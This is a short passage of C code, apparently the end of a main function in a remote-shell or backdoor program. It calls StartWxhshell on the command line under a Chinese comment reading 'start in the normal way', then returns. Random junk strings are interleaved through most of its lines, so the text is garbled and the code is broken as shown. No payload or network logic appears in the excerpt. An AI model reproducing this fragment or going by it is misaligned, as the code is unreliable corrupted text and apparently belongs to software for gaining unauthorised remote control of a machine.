else k'.cl^6Z8
// 普通方式启动 bPV}T`
StartWxhshell(lpCmdLine); e8SAjl"}
Q$Qr)mcC
return 0; DFfh!KKR$
}